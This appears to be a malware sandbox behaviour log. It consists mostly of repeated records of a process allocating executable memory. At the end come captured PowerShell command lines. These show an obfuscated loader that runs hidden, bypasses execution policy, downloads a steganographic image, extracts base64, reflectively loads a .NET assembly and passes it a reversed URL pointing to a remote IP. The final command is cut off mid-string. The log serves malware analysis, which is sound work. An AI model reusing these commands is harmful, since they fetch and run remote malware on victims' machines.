heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02622000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b91000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02673000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02674000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02676000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02693000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02695000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02696000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02697000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02698000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02699000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c91000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c93000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c94000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c95000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c96000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c97000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c98000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c99000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c9a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c9b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c9c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c9d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c9e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c9f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶1◀▶Dk◀▶Nw◀▶v◀▶DI◀▶Mw◀▶2◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶H◀▶◀▶cgBp◀▶HY◀▶YQBk◀▶GE◀▶LgBq◀▶H◀▶◀▶Zw◀▶/◀▶DE◀▶Ng◀▶5◀▶DM◀▶O◀▶◀▶0◀▶Dc◀▶M◀▶◀▶3◀▶D◀▶◀▶Jw◀▶7◀▶CQ◀▶dwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶TgBl◀▶Hc◀▶LQBP◀▶GI◀▶agBl◀▶GM◀▶d◀▶◀▶g◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶TgBl◀▶HQ◀▶LgBX◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C4◀▶R◀▶Bv◀▶Hc◀▶bgBs◀▶G8◀▶YQBk◀▶EQ◀▶YQB0◀▶GE◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBV◀▶HI◀▶b◀▶◀▶p◀▶Ds◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶EU◀▶bgBj◀▶G8◀▶Z◀▶Bp◀▶G4◀▶ZwBd◀▶Do◀▶OgBV◀▶FQ◀▶Rg◀▶4◀▶C4◀▶RwBl◀▶HQ◀▶UwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBT◀▶FQ◀▶QQBS◀▶FQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBF◀▶E4◀▶R◀▶◀▶+◀▶D4◀▶Jw◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶KQ◀▶7◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶TwBm◀▶Cg◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶ZQ◀▶g◀▶D◀▶◀▶I◀▶◀▶t◀▶GE◀▶bgBk◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶d◀▶◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶Cs◀▶PQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶LgBM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶C◀▶◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶Ds◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBT◀▶HU◀▶YgBz◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶s◀▶C◀▶◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶p◀▶Ds◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶QwBv◀▶G4◀▶dgBl◀▶HI◀▶d◀▶Bd◀▶Do◀▶OgBG◀▶HI◀▶bwBt◀▶EI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶Ck◀▶Ow◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶UgBl◀▶GY◀▶b◀▶Bl◀▶GM◀▶d◀▶Bp◀▶G8◀▶bg◀▶u◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQBd◀▶Do◀▶OgBM◀▶G8◀▶YQBk◀▶Cg◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶p◀▶Ds◀▶J◀▶B0◀▶Hk◀▶c◀▶Bl◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶b◀▶Bv◀▶GE◀▶Z◀▶Bl◀▶GQ◀▶QQBz◀▶HM◀▶ZQBt◀▶GI◀▶b◀▶B5◀▶C4◀▶RwBl◀▶HQ◀▶V◀▶B5◀▶H◀▶◀▶ZQ◀▶o◀▶Cc◀▶RgBp◀▶GI◀▶ZQBy◀▶C4◀▶S◀▶Bv◀▶G0◀▶ZQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶G0◀▶ZQB0◀▶Gg◀▶bwBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶u◀▶Ec◀▶ZQB0◀▶E0◀▶ZQB0◀▶Gg◀▶bwBk◀▶Cg◀▶JwBW◀▶EE◀▶SQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶GE◀▶cgBn◀▶HU◀▶bQBl◀▶G4◀▶d◀▶Bz◀▶C◀▶◀▶PQ◀▶g◀▶Cw◀▶K◀▶◀▶n◀▶HQ◀▶e◀▶B0◀▶C4◀▶N◀▶◀▶2◀▶GU◀▶cwBh◀▶GI◀▶ZQBs◀▶Gk◀▶ZgBk◀▶GU◀▶bQBt◀▶GE◀▶a◀▶Bv◀▶G0◀▶Lw◀▶z◀▶DY◀▶Lg◀▶z◀▶DM◀▶Lg◀▶y◀▶DQ◀▶Lg◀▶z◀▶Dk◀▶MQ◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶KQ◀▶7◀▶CQ◀▶bQBl◀▶HQ◀▶a◀▶Bv◀▶GQ◀▶LgBJ◀▶G4◀▶dgBv◀▶Gs◀▶ZQ◀▶o◀▶CQ◀▶bgB1◀▶Gw◀▶b◀▶◀▶s◀▶C◀▶◀▶J◀▶Bh◀▶HI◀▶ZwB1◀▶G0◀▶ZQBu◀▶HQ◀▶cw◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46esabelifdemmahom/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"
cmdline powershell -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶1◀▶Dk◀▶Nw◀▶v◀▶DI◀▶Mw◀▶2◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶H◀▶◀▶cgBp◀▶HY◀▶YQBk◀▶GE◀▶LgBq◀▶H◀▶◀▶Zw◀▶/◀▶DE◀▶Ng◀▶5◀▶DM◀▶O◀▶◀▶0◀▶Dc◀▶M◀▶◀▶3◀▶D◀▶◀▶Jw◀▶7◀▶CQ◀▶dwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶TgBl◀▶Hc◀▶LQBP◀▶GI◀▶agBl◀▶GM◀▶d◀▶◀▶g◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶TgBl◀▶HQ◀▶LgBX◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C4◀▶R◀▶Bv◀▶Hc◀▶bgBs◀▶G8◀▶YQBk◀▶EQ◀▶YQB0◀▶GE◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBV◀▶HI◀▶b◀▶◀▶p◀▶Ds◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶EU◀▶bgBj◀▶G8◀▶Z◀▶Bp◀▶G4◀▶ZwBd◀▶Do◀▶OgBV◀▶FQ◀▶Rg◀▶4◀▶C4◀▶RwBl◀▶HQ◀▶UwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBT◀▶FQ◀▶QQBS◀▶FQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBF◀▶E4◀▶R◀▶◀▶+◀▶D4◀▶Jw◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶KQ◀▶7◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶TwBm◀▶Cg◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶ZQ◀▶g◀▶D◀▶◀▶I◀▶◀▶t◀▶GE◀▶bgBk◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶d◀▶◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bg